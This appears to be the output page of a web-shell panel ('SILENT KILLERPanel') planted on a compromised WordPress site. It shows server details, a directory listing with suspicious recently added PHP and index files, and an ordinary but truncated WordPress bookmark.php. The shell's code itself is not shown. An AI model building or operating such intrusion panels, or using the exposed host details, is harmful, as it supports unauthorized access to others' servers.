SILENT KILLERPanel

Current Path: > > home > branxxtp > keyclubpropertymanagement.com > wp-includes__63e5284


Operation   : Linux premium107.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 198.54.126.246 | Your IP: 216.73.216.181
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: //home/branxxtp/keyclubpropertymanagement.com/wp-includes__63e5284

NameTypeSizeLast ModifiedActions
ID3 Directory - -
IXR Directory - -
PHPMailer Directory - -
Requests Directory - -
SimplePie Directory - -
Text Directory - -
assets Directory - -
block-bindings Directory - -
block-patterns Directory - -
block-supports Directory - -
blocks Directory - -
certificates Directory - -
css Directory - -
customize Directory - -
fonts Directory - -
html-api Directory - -
images Directory - -
interactivity-api Directory - -
js Directory - -
l10n Directory - -
php-compat Directory - -
pomo Directory - -
rest-api Directory - -
sitemaps Directory - -
sodium_compat Directory - -
style-engine Directory - -
theme-compat Directory - -
widgets Directory - -
.htaccess File 2042 bytes February 07 2026 02:49:06.
2index.php File 5361 bytes November 13 2025 04:05:35.
admin-bar.php File 38200 bytes May 01 2025 00:24:22.
admin.php File 5361 bytes February 06 2026 03:17:44.
atomlib.php File 13172 bytes September 19 2024 06:50:16.
author-template.php File 20045 bytes May 15 2023 03:28:24.
block-bindings.php File 6688 bytes June 12 2024 22:14:14.
block-editor.php File 29891 bytes April 16 2025 05:29:33.
block-i18n.json File 316 bytes August 11 2021 18:38:02.
block-patterns.php File 14307 bytes April 16 2025 05:29:33.
block-template-utils.php File 63001 bytes April 16 2025 05:29:33.
block-template.php File 16450 bytes April 16 2025 05:29:33.
blocks.php File 114145 bytes July 16 2025 00:22:38.
bookmark-template.php File 13862 bytes April 16 2025 05:29:31.
bookmark.php File 16521 bytes March 23 2024 23:50:12.
cache-compat.php File 7063 bytes October 11 2022 03:52:12.
cache.php File 14568 bytes October 11 2022 03:52:12.
canonical.php File 35617 bytes August 23 2024 09:17:16.
capabilities.php File 43812 bytes October 15 2024 23:43:20.
category-template.php File 58097 bytes September 26 2023 09:57:12.
category.php File 13923 bytes April 16 2025 05:29:33.
class-IXR.php File 3711 bytes April 16 2025 05:29:33.
class-avif-info.php File 30709 bytes April 27 2024 00:32:14.
class-feed.php File 539 bytes October 01 2024 08:20:20.
class-http.php File 367 bytes June 17 2022 20:50:14.
class-json.php File 43684 bytes February 04 2023 00:05:20.
class-oembed.php File 401 bytes June 17 2022 20:50:14.
class-phpass.php File 7865 bytes September 18 2024 06:38:16.
class-phpmailer.php File 664 bytes July 21 2020 22:28:02.
class-pop3.php File 22215 bytes April 16 2025 05:29:34.
class-requests.php File 3331 bytes April 05 2023 22:42:26.
class-simplepie.php File 1547 bytes October 01 2024 08:20:20.
class-smtp.php File 457 bytes January 27 2021 00:15:58.
class-snoopy.php File 37715 bytes February 04 2023 00:05:20.
class-walker-category-dropdown.php File 3563 bytes September 14 2023 22:16:20.
class-walker-category.php File 9571 bytes September 08 2023 19:02:24.
class-walker-comment.php File 15315 bytes March 19 2024 01:16:14.
class-walker-nav-menu.php File 13138 bytes April 16 2025 05:29:36.
class-walker-page-dropdown.php File 3804 bytes September 14 2023 22:16:20.
class-walker-page.php File 8706 bytes September 14 2023 22:16:20.
class-wp-admin-bar.php File 18968 bytes July 18 2024 10:22:18.
class-wp-ajax-response.php File 6360 bytes September 13 2022 01:17:14.
class-wp-application-passwords.php File 18193 bytes April 16 2025 05:29:34.
class-wp-block-bindings-registry.php File 9557 bytes September 23 2024 22:05:16.
class-wp-block-bindings-source.php File 4086 bytes September 04 2024 02:03:16.
class-wp-block-editor-context.php File 2444 bytes September 13 2022 01:17:14.
class-wp-block-list.php File 5851 bytes November 02 2023 09:34:24.
class-wp-block-metadata-registry.php File 12989 bytes April 16 2025 05:29:33.
class-wp-block-parser-block.php File 3649 bytes June 27 2023 10:15:38.
class-wp-block-parser-frame.php File 3111 bytes September 20 2024 11:25:36.
class-wp-block-parser.php File 12626 bytes May 03 2024 05:39:16.
class-wp-block-pattern-categories-registry.php File 6465 bytes September 13 2022 01:17:14.
class-wp-block-patterns-registry.php File 11877 bytes September 27 2024 18:50:18.
class-wp-block-styles-registry.php File 7497 bytes April 16 2025 05:29:34.
class-wp-block-supports.php File 6720 bytes April 16 2025 05:29:33.
class-wp-block-template.php File 3127 bytes September 20 2024 11:37:12.
class-wp-block-templates-registry.php File 8325 bytes February 12 2025 00:35:26.
class-wp-block-type-registry.php File 6107 bytes October 12 2023 22:04:34.
class-wp-block-type.php File 18359 bytes May 02 2024 09:31:10.
class-wp-block.php File 24135 bytes April 16 2025 05:29:36.
class-wp-classic-to-block-menu-converter.php File 5182 bytes August 22 2023 03:21:20.
class-wp-comment-query.php File 49489 bytes June 22 2024 02:56:14.
class-wp-comment.php File 10531 bytes April 16 2025 05:29:36.
class-wp-customize-control.php File 26945 bytes April 16 2025 05:29:33.
class-wp-customize-manager.php File 203687 bytes April 16 2025 05:29:34.
class-wp-customize-nav-menus.php File 58754 bytes October 01 2025 00:40:57.
class-wp-customize-panel.php File 11804 bytes April 16 2025 05:29:33.
class-wp-customize-section.php File 12303 bytes October 14 2024 04:39:12.
class-wp-customize-setting.php File 31056 bytes April 16 2025 05:29:34.
class-wp-customize-widgets.php File 73304 bytes April 16 2025 05:29:33.
class-wp-date-query.php File 36826 bytes April 16 2025 05:29:33.
class-wp-dependencies.php File 16233 bytes August 26 2024 09:18:14.
class-wp-dependency.php File 3721 bytes November 26 2022 01:42:16.
class-wp-duotone.php File 41877 bytes June 14 2024 21:48:12.
class-wp-editor.php File 73429 bytes May 01 2025 00:24:22.
class-wp-embed.php File 17025 bytes April 16 2025 05:29:34.
class-wp-error.php File 8596 bytes February 22 2023 03:09:20.
class-wp-exception.php File 1347 bytes September 28 2024 04:58:14.
class-wp-fatal-error-handler.php File 9244 bytes October 22 2024 19:46:16.
class-wp-feed-cache-transient.php File 4270 bytes October 01 2024 08:20:20.
class-wp-feed-cache.php File 969 bytes October 01 2024 08:20:20.
class-wp-hook.php File 17094 bytes September 18 2023 22:11:18.
class-wp-http-cookie.php File 8483 bytes June 25 2023 02:47:24.
class-wp-http-curl.php File 13635 bytes September 22 2023 03:59:12.
class-wp-http-encoding.php File 7783 bytes June 23 2023 00:27:24.
class-wp-http-ixr-client.php File 4595 bytes September 13 2022 01:17:14.
class-wp-http-proxy.php File 7074 bytes June 23 2023 00:06:26.
class-wp-http-requests-hooks.php File 3116 bytes December 16 2022 08:02:18.
class-wp-http-requests-response.php File 5494 bytes October 11 2023 16:35:26.
class-wp-http-response.php File 4071 bytes September 13 2022 01:17:14.
class-wp-http-streams.php File 16859 bytes September 22 2023 03:59:12.
class-wp-http.php File 42673 bytes April 16 2025 05:29:33.
class-wp-image-editor-gd.php File 21256 bytes April 16 2025 05:29:34.
class-wp-image-editor-imagick.php File 35829 bytes April 16 2025 05:29:34.
class-wp-image-editor.php File 18621 bytes April 16 2025 05:29:34.
class-wp-list-util.php File 8537 bytes February 28 2024 09:08:16.
class-wp-locale-switcher.php File 7870 bytes April 16 2025 05:29:33.
class-wp-locale.php File 17977 bytes April 16 2025 05:29:36.
class-wp-matchesmapregex.php File 2922 bytes February 06 2024 11:55:14.
class-wp-meta-query.php File 31625 bytes April 23 2024 05:55:08.
class-wp-metadata-lazyloader.php File 7927 bytes May 11 2023 20:45:24.
class-wp-navigation-fallback.php File 10305 bytes October 06 2023 23:36:22.
class-wp-network-query.php File 20951 bytes June 22 2024 02:56:14.
class-wp-network.php File 13390 bytes September 14 2024 07:42:16.
class-wp-object-cache.php File 18618 bytes September 19 2024 21:42:16.
class-wp-oembed-controller.php File 7999 bytes March 06 2024 15:35:12.
class-wp-oembed.php File 32700 bytes July 16 2025 00:22:38.
class-wp-paused-extensions-storage.php File 6205 bytes September 04 2024 03:49:14.
class-wp-phpmailer.php File 4896 bytes April 16 2025 05:29:33.
class-wp-plugin-dependencies.php File 26409 bytes April 16 2025 05:29:36.
class-wp-post-type.php File 31774 bytes April 16 2025 05:29:34.
class-wp-post.php File 7582 bytes April 16 2025 05:29:33.
class-wp-query.php File 159117 bytes April 16 2025 05:29:36.
class-wp-recovery-mode-cookie-service.php File 7971 bytes October 04 2022 13:29:14.
class-wp-recovery-mode-email-service.php File 12277 bytes May 03 2023 01:15:22.
class-wp-recovery-mode-key-service.php File 5978 bytes April 16 2025 05:29:32.
class-wp-recovery-mode-link-service.php File 4557 bytes September 13 2022 01:17:14.
class-wp-recovery-mode.php File 12547 bytes April 16 2025 05:29:33.
class-wp-rewrite.php File 64782 bytes October 20 2024 09:24:18.
class-wp-role.php File 3617 bytes September 08 2023 19:02:24.
class-wp-roles.php File 9680 bytes September 04 2024 03:49:14.
class-wp-script-modules.php File 20557 bytes April 16 2025 05:29:36.
class-wp-scripts.php File 29438 bytes August 11 2024 08:30:14.
class-wp-session-tokens.php File 8413 bytes April 16 2025 05:29:31.
class-wp-simplepie-file.php File 4502 bytes October 01 2024 08:20:20.
class-wp-simplepie-sanitize-kses.php File 3004 bytes April 16 2025 05:29:33.
class-wp-site-query.php File 32719 bytes September 11 2024 21:38:20.
class-wp-site.php File 8548 bytes September 13 2022 01:17:14.
class-wp-speculation-rules.php File 8621 bytes April 16 2025 05:29:33.
class-wp-styles.php File 12104 bytes August 11 2024 08:30:14.
class-wp-tax-query.php File 20649 bytes February 17 2024 08:17:12.
class-wp-taxonomy.php File 19653 bytes April 16 2025 05:29:34.
class-wp-term-query.php File 41963 bytes November 06 2024 00:54:16.
class-wp-term.php File 6392 bytes September 13 2022 01:17:14.
class-wp-text-diff-renderer-inline.php File 2073 bytes February 15 2024 05:57:10.
class-wp-text-diff-renderer-table.php File 19974 bytes April 16 2025 05:29:33.
class-wp-textdomain-registry.php File 11575 bytes November 21 2024 00:05:16.
class-wp-theme-json-data.php File 2903 bytes June 04 2024 21:25:14.
class-wp-theme-json-resolver.php File 36832 bytes April 16 2025 05:29:33.
class-wp-theme-json-schema.php File 8461 bytes June 06 2024 17:32:16.
class-wp-theme-json.php File 164639 bytes April 16 2025 05:29:34.
class-wp-theme.php File 66904 bytes April 16 2025 05:29:34.
class-wp-token-map.php File 29712 bytes July 20 2024 09:14:16.
class-wp-url-pattern-prefixer.php File 5896 bytes April 16 2025 05:29:34.
class-wp-user-meta-session-tokens.php File 4084 bytes January 09 2019 15:34:50.
class-wp-user-query.php File 44749 bytes April 16 2025 05:29:33.
class-wp-user-request.php File 3399 bytes April 16 2025 05:29:36.
class-wp-user.php File 24088 bytes April 16 2025 05:29:33.
class-wp-walker.php File 14416 bytes July 26 2024 17:26:14.
class-wp-widget-factory.php File 4441 bytes September 13 2022 01:17:14.
class-wp-widget.php File 19523 bytes April 16 2025 05:29:34.
class-wp-xmlrpc-server.php File 216538 bytes April 16 2025 05:29:33.
class-wp.php File 30421 bytes April 16 2025 05:29:32.
class-wpdb.php File 118284 bytes April 16 2025 05:29:31.
class.wp-dependencies.php File 373 bytes September 20 2022 23:47:12.
class.wp-scripts.php File 343 bytes September 20 2022 23:47:12.
class.wp-styles.php File 338 bytes September 20 2022 23:47:12.
comment-template.php File 104198 bytes July 16 2025 00:22:38.
comment.php File 132641 bytes April 16 2025 05:29:34.
compat.php File 17470 bytes April 16 2025 05:29:36.
cron.php File 43752 bytes April 16 2025 05:29:34.
date.php File 400 bytes June 17 2022 20:50:14.
default-constants.php File 12459 bytes October 01 2024 09:28:16.
default-filters.php File 37791 bytes April 16 2025 05:29:36.
default-widgets.php File 3389 bytes April 16 2025 05:29:31.
deprecated.php File 192658 bytes April 16 2025 05:29:33.
embed-template.php File 338 bytes June 17 2022 20:50:14.
embed.php File 39266 bytes April 16 2025 05:29:34.
error-protection.php File 5215 bytes May 03 2023 01:15:22.
feed-atom-comments.php File 6583 bytes March 04 2024 23:11:10.
feed-atom.php File 4200 bytes April 16 2025 05:29:33.
feed-rdf.php File 3747 bytes January 29 2020 11:15:18.
feed-rss.php File 2268 bytes January 29 2020 11:15:18.
feed-rss2-comments.php File 5215 bytes March 04 2024 23:11:10.
feed-rss2.php File 4878 bytes January 29 2020 11:15:18.
feed.php File 24505 bytes November 12 2024 04:25:14.
fonts.php File 10845 bytes October 28 2024 07:27:10.
formatting.php File 344015 bytes July 16 2025 00:22:38.
functions.php File 291649 bytes April 16 2025 05:29:33.
functions.wp-scripts.php File 15652 bytes May 27 2024 06:21:14.
functions.wp-styles.php File 9677 bytes May 27 2024 06:21:14.
general-template.php File 173592 bytes April 16 2025 05:29:32.
global-styles-and-settings.php File 22355 bytes April 16 2025 05:29:34.
http.php File 26406 bytes October 28 2024 07:49:16.
https-detection.php File 6951 bytes April 16 2025 05:29:34.
https-migration.php File 5835 bytes July 11 2023 08:08:26.
index.htm File 1104 bytes January 26 2026 05:14:06.
index.html File 1104 bytes January 26 2026 05:14:06.
kses.php File 75566 bytes April 16 2025 05:29:36.
l10n.php File 69624 bytes April 16 2025 05:29:36.
link-template.php File 157801 bytes April 16 2025 05:29:34.
load.php File 56440 bytes April 16 2025 05:29:34.
locale.php File 162 bytes October 09 2019 02:49:04.
media-template.php File 64154 bytes April 16 2025 05:29:34.
media.php File 221590 bytes July 16 2025 00:22:38.
meta.php File 66337 bytes April 16 2025 05:29:34.
ms-blogs.php File 26939 bytes April 16 2025 05:29:34.
ms-default-constants.php File 6015 bytes June 14 2024 06:20:14.
ms-default-filters.php File 7730 bytes February 24 2023 11:53:20.
ms-deprecated.php File 22853 bytes April 13 2024 03:17:14.
ms-files.php File 3838 bytes May 01 2025 00:24:22.
ms-functions.php File 92676 bytes April 16 2025 05:29:33.
ms-load.php File 20977 bytes March 26 2024 02:49:18.
ms-network.php File 4876 bytes May 02 2023 20:56:24.
ms-settings.php File 5291 bytes April 16 2025 05:29:33.
ms-site.php File 42414 bytes April 16 2025 05:29:34.
nav-menu-template.php File 27084 bytes April 16 2025 05:29:36.
nav-menu.php File 45467 bytes August 06 2024 04:30:20.
option.php File 104159 bytes April 16 2025 05:29:33.
pluggable-deprecated.php File 7418 bytes April 16 2025 05:29:33.
pluggable.php File 123794 bytes April 16 2025 05:29:36.
plugin.php File 35465 bytes June 08 2023 17:24:22.
post-formats.php File 8196 bytes May 28 2024 01:59:16.
post-template.php File 69742 bytes April 16 2025 05:29:33.
post-thumbnail-template.php File 11973 bytes April 16 2025 05:29:33.
post.php File 292806 bytes April 16 2025 05:29:33.
query.php File 38129 bytes August 24 2023 18:31:16.
registration-functions.php File 200 bytes November 12 2020 21:47:08.
registration.php File 200 bytes November 12 2020 21:47:08.
rest-api.php File 101351 bytes April 16 2025 05:29:34.
revision.php File 31835 bytes April 16 2025 05:29:36.
rewrite.php File 20635 bytes September 19 2024 04:38:12.
robots-template.php File 6279 bytes April 07 2022 01:03:04.
rss-functions.php File 255 bytes November 17 2020 09:22:06.
rss.php File 23113 bytes September 19 2024 07:10:12.
script-loader.php File 134356 bytes May 01 2025 00:24:22.
script-modules.php File 8806 bytes October 14 2024 04:19:16.
session.php File 258 bytes February 06 2020 17:03:12.
shortcodes.php File 25145 bytes May 25 2024 12:34:12.
sitemaps.php File 4332 bytes May 16 2021 03:08:06.
speculative-loading.php File 9652 bytes April 16 2025 05:29:34.
spl-autoload-compat.php File 441 bytes November 12 2020 21:47:08.
style-engine.php File 8657 bytes May 03 2024 14:17:12.
taxonomy.php File 177321 bytes April 16 2025 05:29:33.
template-canvas.php File 1623 bytes October 01 2023 09:52:28.
template-loader.php File 7130 bytes May 26 2020 19:07:10.
template.php File 25248 bytes February 22 2024 05:56:08.
theme-i18n.json File 1526 bytes April 16 2025 05:29:34.
theme-previews.php File 3926 bytes December 08 2023 17:02:24.
theme-templates.php File 7332 bytes April 16 2025 05:29:33.
theme.json File 8704 bytes June 12 2024 15:41:14.
theme.php File 135397 bytes April 16 2025 05:29:33.
update.php File 38597 bytes April 16 2025 05:29:36.
user.php File 176917 bytes April 16 2025 05:29:36.
vars.php File 7656 bytes April 16 2025 05:29:34.
version.php File 2184 bytes October 01 2025 00:40:57.
widgets.php File 71813 bytes April 16 2025 05:29:34.
wp-db.php File 445 bytes July 22 2022 08:15:12.
wp-diff.php File 1893 bytes April 16 2025 05:29:33.

Reading File: //home/branxxtp/keyclubpropertymanagement.com/wp-includes__63e5284/bookmark.php

<?php
/**
 * Link/Bookmark API
 *
 * @package WordPress
 * @subpackage Bookmark
 */

/**
 * Retrieves bookmark data.
 *
 * @since 2.1.0
 *
 * @global object $link Current link object.
 * @global wpdb   $wpdb WordPress database abstraction object.
 *
 * @param int|stdClass $bookmark
 * @param string       $output   Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which
 *                               correspond to an stdClass object, an associative array, or a numeric array,
 *                               respectively. Default OBJECT.
 * @param string       $filter   Optional. How to sanitize bookmark fields. Default 'raw'.
 * @return array|object|null Type returned depends on $output value.
 */
function get_bookmark( $bookmark, $output = OBJECT, $filter = 'raw' ) {
	global $wpdb;

	if ( empty( $bookmark ) ) {
		if ( isset( $GLOBALS['link'] ) ) {
			$_bookmark = & $GLOBALS['link'];
		} else {
			$_bookmark = null;
		}
	} elseif ( is_object( $bookmark ) ) {
		wp_cache_add( $bookmark->link_id, $bookmark, 'bookmark' );
		$_bookmark = $bookmark;
	} else {
		if ( isset( $GLOBALS['link'] ) && ( $GLOBALS['link']->link_id === $bookmark ) ) {
			$_bookmark = & $GLOBALS['link'];
		} else {
			$_bookmark = wp_cache_get( $bookmark, 'bookmark' );
			if ( ! $_bookmark ) {
				$_bookmark = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->links WHERE link_id = %d LIMIT 1", $bookmark ) );
				if ( $_bookmark ) {
					$_bookmark->link_category = array_unique( wp_get_object_terms( $_bookmark->link_id, 'link_category', array( 'fields' => 'ids' ) ) );
					wp_cache_add( $_bookmark->link_id, $_bookmark, 'bookmark' );
				}
			}
		}
	}

	if ( ! $_bookmark ) {
		return $_bookmark;
	}

	$_bookmark = sanitize_bookmark( $_bookmark, $filter );

	if ( OBJECT === $output ) {
		return $_bookmark;
	} elseif ( ARRAY_A === $output ) {
		return get_object_vars( $_bookmark );
	} elseif ( ARRAY_N === $output ) {
		return array_values( get_object_vars( $_bookmark ) );
	} else {
		return $_bookmark;
	}
}

/**
 * Retrieves single bookmark data item or field.
 *
 * @since 2.3.0
 *
 * @param string $field    The name of the data field to return.
 * @param int    $bookmark The bookmark ID to get field.
 * @param string $context  Optional. The context of how the field will be used. Default 'display'.
 * @return string|WP_Error
 */
function get_bookmark_field( $field, $bookmark, $context = 'display' ) {
	$bookmark = (int) $bookmark;
	$bookmark = get_bookmark( $bookmark );

	if ( is_wp_error( $bookmark ) ) {
		return $bookmark;
	}

	if ( ! is_object( $bookmark ) ) {
		return '';
	}

	if ( ! isset( $bookmark->$field ) ) {
		return '';
	}

	return sanitize_bookmark_field( $field, $bookmark->$field, $bookmark->link_id, $context );
}

/**
 * Retrieves the list of bookmarks.
 *
 * Attempts to retrieve from the cache first based on MD5 hash of arguments. If
 * that fails, then the query will be built from the arguments and executed. The
 * results will be stored to the cache.
 *
 * @since 2.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string|array $args {
 *     Optional. String or array of arguments to retrieve bookmarks.
 *
 *     @type string   $orderby        How to order the links by. Accepts 'id', 'link_id', 'name', 'link_name',
 *                                    'url', 'link_url', 'visible', 'link_visible', 'rating', 'link_rating',
 *                                    'owner', 'link_owner', 'updated', 'link_updated', 'notes', 'link_notes',
 *                                    'description', 'link_description', 'length' and 'rand'.
 *                                    When `$orderby` is 'length', orders by the character length of
 *                                    'link_name'. Default 'name'.
 *     @type string   $order          Whether to order bookmarks in ascending or descending order.
 *                                    Accepts 'ASC' (ascending) or 'DESC' (descending). Default 'ASC'.
 *     @type int      $limit          Amount of bookmarks to display. Accepts any positive number or
 *                                    -1 for all.  Default -1.
 *     @type string   $category       Comma-separated list of category IDs to include links from.
 *                                    Default empty.
 *     @type string   $category_name  Category to retrieve links for by name. Default empty.
 *     @type int|bool $hide_invisible Whether to show or hide links marked as 'invisible'. Accepts
 *                                    1|true or 0|false. Default 1|true.
 *     @type int|bool $show_updated   Whether to display the time the bookmark was last updated.
 *                                    Accepts 1|true or 0|false. Default 0|false.
 *     @type string   $include        Comma-separated list of bookmark IDs to include. Default empty.
 *     @type string   $exclude        Comma-separated list of bookmark IDs to exclude. Default empty.
 *     @type string   $search         Search terms. Will be SQL-formatted with wildcards before and after
 *                                    and searched in 'link_url', 'link_name' and 'link_description'.
 *                                    Default empty.
 * }
 * @return object[] List of bookmark row objects.
 */
function get_bookmarks( $args = '' ) {
	global $wpdb;

	$defaults = array(
		'orderby'        => 'name',
		'order'          => 'ASC',
		'limit'          => -1,
		'category'       => '',
		'category_name'  => '',
		'hide_invisible' => 1,
		'show_updated'   => 0,
		'include'        => '',
		'exclude'        => '',
		'search'         => '',
	);

	$parsed_args = wp_parse_args( $args, $defaults );

	$key   = md5( serialize( $parsed_args ) );
	$cache = wp_cache_get( 'get_bookmarks', 'bookmark' );

	if ( 'rand' !== $parsed_args['orderby'] && $cache ) {
		if ( is_array( $cache ) && isset( $cache[ $key ] ) ) {
			$bookmarks = $cache[ $key ];
			/**
			 * Filters the returned list of bookmarks.
			 *
			 * The first time the hook is evaluated in this file, it returns the cached
			 * bookmarks list. The second evaluation returns a cached bookmarks list if the
			 * link category is passed but does not exist. The third evaluation returns
			 * the full cached results.
			 *
			 * @since 2.1.0
			 *
			 * @see get_bookmarks()
			 *
			 * @param array $bookmarks   List of the cached bookmarks.
			 * @param array $parsed_args An array of bookmark query arguments.
			 */
			return apply_filters( 'get_bookmarks', $bookmarks, $parsed_args );
		}
	}

	if ( ! is_array( $cache ) ) {
		$cache = array();
	}

	$inclusions = '';
	if ( ! empty( $parsed_args['include'] ) ) {
		$parsed_args['exclude']       = '';  // Ignore exclude, category, and category_name params if using include.
		$parsed_args['category']      = '';
		$parsed_args['category_name'] = '';

		$inclinks = wp_parse_id_list( $parsed_args['include'] );
		if ( count( $inclinks ) ) {
			foreach ( $inclinks as $inclink ) {
				if ( empty( $inclusions ) ) {
					$inclusions = ' AND ( link_id = ' . $inclink . ' ';
				} else {
					$inclusions .= ' OR link_id = ' . $inclink . ' ';
				}
			}
		}
	}
	if ( ! empty( $inclusions ) ) {
		$inclusions .= ')';
	}

	$exclusions = '';
	if ( ! empty( $parsed_args['exclude'] ) ) {
		$exlinks = wp_parse_id_list( $parsed_args['exclude'] );
		if ( count( $exlinks ) ) {
			foreach ( $exlinks as $exlink ) {
				if ( empty( $exclusions ) ) {
					$exclusions = ' AND ( link_id <> ' . $exlink . ' ';
				} else {
					$exclusions .= ' AND link_id <> ' . $exlink . ' ';
				}
			}
		}
	}
	if ( ! empty( $exclusions ) ) {
		$exclusions .= ')';
	}

	if ( ! empty( $parsed_args['category_name'] ) ) {
		$parsed_args['category'] = get_term_by( 'name', $parsed_args['category_name'], 'link_category' );
		if ( $parsed_args['category'] ) {
			$parsed_args['category'] = $parsed_args['category']->term_id;
		} else {
			$cache[ $key ] = array();
			wp_cache_set( 'get_bookmarks', $cache, 'bookmark' );
			/** This filter is documented in wp-includes/bookmark.php */
			return apply_filters( 'get_bookmarks', array(), $parsed_args );
		}
	}

	$search = '';
	if ( ! empty( $parsed_args['search'] ) ) {
		$like   = '%' . $wpdb->esc_like( $parsed_args['search'] ) . '%';
		$search = $wpdb->prepare( ' AND ( (link_url LIKE %s) OR (link_name LIKE %s) OR (link_description LIKE %s) ) ', $like, $like, $like );
	}

	$category_query = '';
	$join           = '';
	if ( ! empty( $parsed_args['category'] ) ) {
		$incategories = wp_parse_id_list( $parsed_args['category'] );
		if ( count( $incategories ) ) {
			foreach ( $incategories as $incat ) {
				if ( empty( $category_query ) ) {
					$category_query = ' AND ( tt.term_id = ' . $incat . ' ';
				} else {
					$category_query .= ' OR tt.term_id = ' . $incat . ' ';
				}
			}
		}
	}
	if ( ! empty( $category_query ) ) {
		$category_query .= ") AND taxonomy = 'link_category'";
		$join            = " INNER JOIN $wpdb->term_relationships AS tr ON ($wpdb->links.link_id = tr.object_id) INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_taxonomy_id = tr.term_taxonomy_id";
	}

	if ( $parsed_args['show_updated'] ) {
		$recently_updated_test = ', IF (DATE_ADD(link_updated, INTERVAL 120 MINUTE) >= NOW(), 1,0) as recently_updated ';
	} else {
		$recently_updated_test = '';
	}

	$get_updated = ( $parsed_args['show_updated'] ) ? ', UNIX_TIMESTAMP(link_updated) AS link_updated_f ' : '';

	$orderby = strtolower( $parsed_args['orderby'] );
	$length  = '';
	switch ( $orderby ) {
		case 'length':
			$length = ', CHAR_LENGTH(link_name) AS length';
			break;
		case 'rand':
			$orderby = 'rand()';
			break;
		case 'link_id':
			$orderby = "$wpdb->links.link_id";
			break;
		default:
			$orderparams = array();
			$keys        = array( 'link_id', 'link_name', 'link_url', 'link_visible', 'link_rating', 'link_owner', 'link_updated', 'link_notes', 'link_description' );
			foreach ( explode( ',', $orderby ) as $ordparam ) {
				$ordparam = trim( $ordparam );

				if ( in_array( 'link_' . $ordparam, $keys, true ) ) {
					$orderparams[] = 'link_' . $ordparam;
				} elseif ( in_array( $ordparam, $keys, true ) ) {
					$orderparams[] = $ordparam;
				}
			}
			$orderby = implode( ',', $orderparams );
	}

	if ( empty( $orderby ) ) {
		$orderby = 'link_name';
	}

	$order = strtoupper( $parsed_args['order'] );
	if ( '' !== $order && ! in_array( $order, array( 'ASC', 'DESC' ), true ) ) {
		$order = 'ASC';
	}

	$visible = '';
	if ( $parsed_args['hide_invisible'] ) {
		$visible = "AND link_visible = 'Y'";
	}

	$query  = "SELECT * $length $recently_updated_test $get_updated FROM $wpdb->links $join WHERE 1=1 $visible $category_query";
	$query .= " $exclusions $inclusions $search";
	$query .= " ORDER BY $orderby $order";
	if ( -1 !== $parsed_args['limit'] ) {
		$query .= ' LIMIT ' . absint( $parsed_args['limit'] );
	}

	$results = $wpdb->get_results( $query );

	if ( 'rand()' !== $orderby ) {
		$cache[ $key ] = $results;
		wp_cache_set( 'get_bookmarks', $cache, 'bookmark' );
	}

	/** This filter is documented in wp-includes/bookmark.php */
	return apply_filters( 'get_bookmarks', $results, $parsed_args );
}

/**
 * Sanitizes all bookmark fields.
 *
 * @since 2.3.0
 *
 * @param stdClass|array $bookmark Bookmark row.
 * @param string         $context  Optional. How to filter the fields. Default 'display'.
 * @return stdClass|array Same type as $bookmark but with fields sanitized.
 */
function sanitize_bookmark( $bookmark, $context = 'display' ) {
	$fields = array(
		'link_id',
		'link_url',
		'link_name',
		'link_image',
		'link_target',
		'link_category',
		'link_description',
		'link_visible',
		'link_owner',
		'link_rating',
		'link_updated',
		'link_rel',
		'link_notes',
		'link_rss',
	);

	if ( is_object( $bookmark ) ) {
		$do_object = true;
		$link_id   = $bookmark->link_id;
	} else {
		$do_object = false;
		$link_id   = $bookmark['link_id'];
	}

	foreach ( $fields as $field ) {
		if ( $do_object ) {
			if ( isset( $bookmark->$field ) ) {
				$bookmark->$field = sanitize_bookmark_field( $field, $bookmark->$field, $link_id, $context );
			}
		} else {
			if ( isset( $bookmark[ $field ] ) ) {
				$bookmark[ $field ] = sanitize_bookmark_field( $field, $bookmark[ $field ], $link_id, $context );
			}
		}
	}

	return $bookmark;
}

/**
 * Sanitizes a bookmark field.
 *
 * Sanitizes the bookmark fields based on what the field name is. If the field
 * has a strict value set, then it will be tested for that, else a more generic
 * filtering is applied. After the more strict filter is applied, if the `$context`
 * is 'raw' then the value is immediately return.
 *
 * Hooks exist for the more generic cases. With the 'edit' context, the {@see 'edit_$field'}
 * filter will be called and passed the `$value` and `$bookmark_id` respectively.
 *
 * With the 'db' context, the {@see 'pre_$field'} filter is called and passed the value.
 * The 'display' context is the final context and has the `$field` has the filter name
 * and is passed the `$value`, `$bookmark_id`, and `$context`, respectively.
 *
 * @since 2.3.0
 *
 * @param string $field       The bookmark field.
 * @param mixed  $value       The bookmark field value.
 * @param int    $bookmark_id Bookmark ID.
 * @param string $context     How to filter the field value. Accepts 'raw', 'edit', 'db',
 *                            'display', 'attribute', or 'js'. Default 'display'.
 * @return mixed The filtered value.
 */
function sanitize_bookmark_field( $field, $value, $bookmark_id, $context ) {
	$int_fields = array( 'link_id', 'link_rating' );
	if ( in_array( $field, $int_fields, true ) ) {
		$value = (int) $value;
	}

	switch ( $field ) {
		case 'link_category': // array( ints )
			$value = array_map( 'absint', (array) $value );
			/*
			 * We return here so that the categories aren't filtered.
			 * The 'link_category' filter is for the name of a link category, not an array of a link's link categories.
			 */
			return $value;

		case 'link_visible': // bool stored as Y|N
			$value = preg_replace( '/[^YNyn]/', '', $value );
			break;
		case 'link_target': // "enum"
			$targets = array( '_top', '_blank' );
			if ( ! in_array( $value, $targets, true ) ) {
				$value = '';
			}
			break;
	}

	if ( 'raw' === $context ) {
		return $value;
	}

	if ( 'edit' === $context ) {
		/** This filter is documented in wp-includes/post.php */
		$value = apply_filters( "edit_{$field}", $value, $bookmark_id );

		if ( 'link_notes' === $field ) {
			$value = esc_html( $value ); // textarea_escaped
		} else {
			$value = esc_attr( $value );
		}
	} elseif ( 'db' === $context ) {
		/** This filter is documented in wp-includes/post.php */
		$value = apply_filters( "pre_{$field}", $value );
	} else {
		/** This filter is documented in wp-includes/post.php */
		$value = apply_filters( "{$field}", $value, $bookmark_id, $context );

		if ( 'attribute' === $context ) {
			$value = esc_attr( $value );
		} elseif ( 'js' === $context ) {
			$value = esc_js( $value );
		}
	}

	// Restore the type for integer fields after esc_attr().
	if ( in_array( $field, $int_fields, true ) ) {
		$value = (int) $value;
	}

